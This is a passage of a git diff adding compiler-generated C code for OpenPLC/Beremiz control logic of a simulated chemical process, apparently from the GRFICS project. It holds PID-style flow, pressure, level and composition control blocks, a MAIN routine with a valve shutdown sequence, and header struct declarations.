(REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + 